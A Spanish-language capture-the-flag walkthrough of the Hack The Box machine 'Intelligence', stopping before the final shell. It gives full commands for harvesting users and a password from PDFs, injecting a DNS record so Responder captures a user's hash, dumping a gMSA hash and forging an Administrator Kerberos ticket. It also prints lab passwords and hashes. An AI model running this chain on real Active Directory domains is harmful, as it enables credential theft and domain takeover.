Enumeración
Comenzamos realizando un escaneo rapido de todos los puertos abiertos:
nmap -p- — open -sT — min-rate 5000 -vvv -n -Pn 10.10.10.248
Enumeracion HTTP
Vemos una pagina estática que lo unico que tiene son 2 PDF en la ruta /documents
Si los examinamos con exiftool vemos que tienen dos usuarios como nombres de autor.
Estos usuarios son usuarios validos del dominio
Ni la enumeracion de directorios ni otra enumeracion web revela nada tampoco enumerando el directorio /documents, sin embargo sabemos que los archivos de esa ruta tienen la estructura de YYYY-MM-DD-update.pdf por lo que podriamos intentar descargar todos los pdf existentes con ese formato.
Para ello haremos un bucle for para enumerar y descargar todos los archivos existentes
for i in {2020..2022}; do for j in {01..12}; do for k in {01..31};do echo "http://10.10.10.248/documents/$i-$j-$k-upload.pdf"; done; done; done | xargs -n 1 -P 20 wget
Primero declara las variables año mes y día , despues imprime en pantalla como quedaría cada peticion web y finalmente las ordena linea a linea y lo descarga rápidamente con 20 hilos.
Ya estan todos descargados ahora de nuevo los inspeccionaremos con exiftool para ver si hay nuevos usuarios como autores, lo filtraremos por el campo Creator.
`exiftool *.pdf | grep “Creator”`
A continuacion quitaremos los duplicados y seleccionaremos solo el usuario
`exiftool *.pdf | grep “Creator” | awk ‘NF{print $NF}’ | sort -u`
Una vez tenemos todos los usuarios
Ya tenemos la lista de usuarios ahora vamos a validarlos contra el DC
Ninguno tiene la preautenticacion activada por lo que no podemos acceder con su TGT
Necesitamos buscar credenciales tambien en los PDF para ello vamos a filtrar en su contenido con strings relacionados con passwords
Para ello primero necesitamos poder leer los PDF necesitaamos una herramienta llamada pdftotext
pip install pdftotext
Lo que hace es pasar el PDF a TXT para pasar todos los pdf vamos a usar de nuevo un bucle for
for file in $(ls); do echo $file; done | grep -v users | while read filename; do pdftotext $filename; done
A continuacion buscaremos en los txt con grep strings relacionados con password
Vemos que identifica el string en un unico archivo
Vamos a validar de quien es esta contraseña con crackmapexec y nuestra lista de usuarios
Es de Tiffany.Molina, no podemos acceder por winrm por lo que vamos a ver los permisos sobre SMB.
Explotación
Podemos enumerar shares en concreto los mas interesantes Users y IT
Descargamos recursivamente todo el contenido de los dos , en Users no hay nada pero en IT vemos un script en Powershell muy interesante
��# Check web server status. Scheduled to run every 5min Import-Module ActiveDirectory foreach($record in Get-ChildItem "AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" | Where-Object Name -like "web*") { try { $request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentials if(.StatusCode -ne 200) { Send-MailMessage -From 'Ted Graves <Ted.Graves@intelligence.htb>' -To 'Ted Graves <Ted.Graves@intelligence.htb>' -Subject "Host: $($record.Name) is down" } } catch {} }
El script ingresa a LDAP y obtiene una lista de todas las computadoras, y luego recorre aquellas cuyo nombre comienza con “web”. Intentará enviar una solicitud web a ese servidor (con las credenciales de los usuarios en ejecución), y si el código de estado no es 200, enviará un correo electrónico a Ted.Graves y les informará que el host está inactivo. El comentario en la parte superior dice que está programado para ejecutarse cada cinco minutos.
Es decir que manda una peticion DNS a todos los host que empiecen con web intentando loguearse con las credenciales por defecto, esto nos permite obtener una conexion del DC hacia nosotros que podemos interceptar con el responder pero necesitamos contruir esa conexion de alguna manera
La solución será una inyección DNS Record para ello usaremos la herramienta dnstool.py
python3 dnstool.py -u ‘intelligence.htbTiffany.Molina’ -p ‘NewIntelligenceCorpUser9876’ -r webtest -a add -t A -d 10.10.14.15 10.10.10.248
Ya esta añadido el nuevo equipo webtest, ahora hay que esperar 5 minutos a que haga la request al nuevo equipo la cual capturaremos con responder
Obtenemos el hash del usuario Ted.Graves, vamos a creackearlo con john
Validamos las credenciales
De nuevo no podemos entrar con winrm
Escalada de privilegios
Con el usuario Tiffany antes podíamos solo dumpear el ldapdomaindump pero ahora con el usuario Ted tambien podemos ejecutar bloodhound-python.
Indicamos los dos usuarios que tenemos owned
En NodeInfo buscando por el usuario Ted vemos que puede llegar a objetivos de alto valor ya que al pertenecer al grupo ITSUPPOR tiene el privilegio de ReadGMSAPassword sobre SV_INIT
Asi mismo el usuario SVC_INIT tiene el privilegio AllowedToDelete sobre el DC
Para leer las credenciales GMSA las extraeremos con la herramienta GMSAdumper.py
Usaremos las credenciales de Ted.Graves
python3 gMSADumper.py -u ‘Ted.Graves’ -p ‘Mr.Teddy’ -l 10.10.10.248 -d intelligence.htb
Nos da el hash SPN de la cuenta de servicio svc_int, este hash no es crackeable por lo que necesitaremos obtener el ticket TGS del mismo a partir de este hash
Usaremos la herramienta getST.py
Para obtener el ticket necesitamos aportarle los siguiente datos
- -dc-ip 10.10.10.248
- -spn www/dc.intelligence.htb` — el SPN
- -hashes :fb49fcd5ffc6fefa70503e08c9cd8261 — el NTLM anterior
- -impersonate administrator — el usuario del que queremos el ticket
- intelligence.htb/svc_int` — la cuenta actual
El SPN podemos obtenerlo de dos maneras
- Desde bloodhound buscando al usuario srv_int en Node info
2. Con la herramienta pywerview.py
pywerview get-netcomputer -u ‘Ted.Graves’ -t 10.10.10.248 — full-data
Ya tenemos todo ahora vamos a pedir el ticket
getST.py -spn WWW/dc.intelligence.htb -impersonate Administrator intelligence.htb/svc_int -hashes :fb49fcd5ffc6fefa70503e08c9cd8261
Nos indica que hay un problema con el reloj del sistema, vamos a sincronizarlo con rdate y lo repetimos
Ya nos ha creado el ticket y nos lo ha guardado en cache como Administrator.cache a continuacion vamos a guardarlo en una variable para poder introducirlo a wmiexec con el parametro -k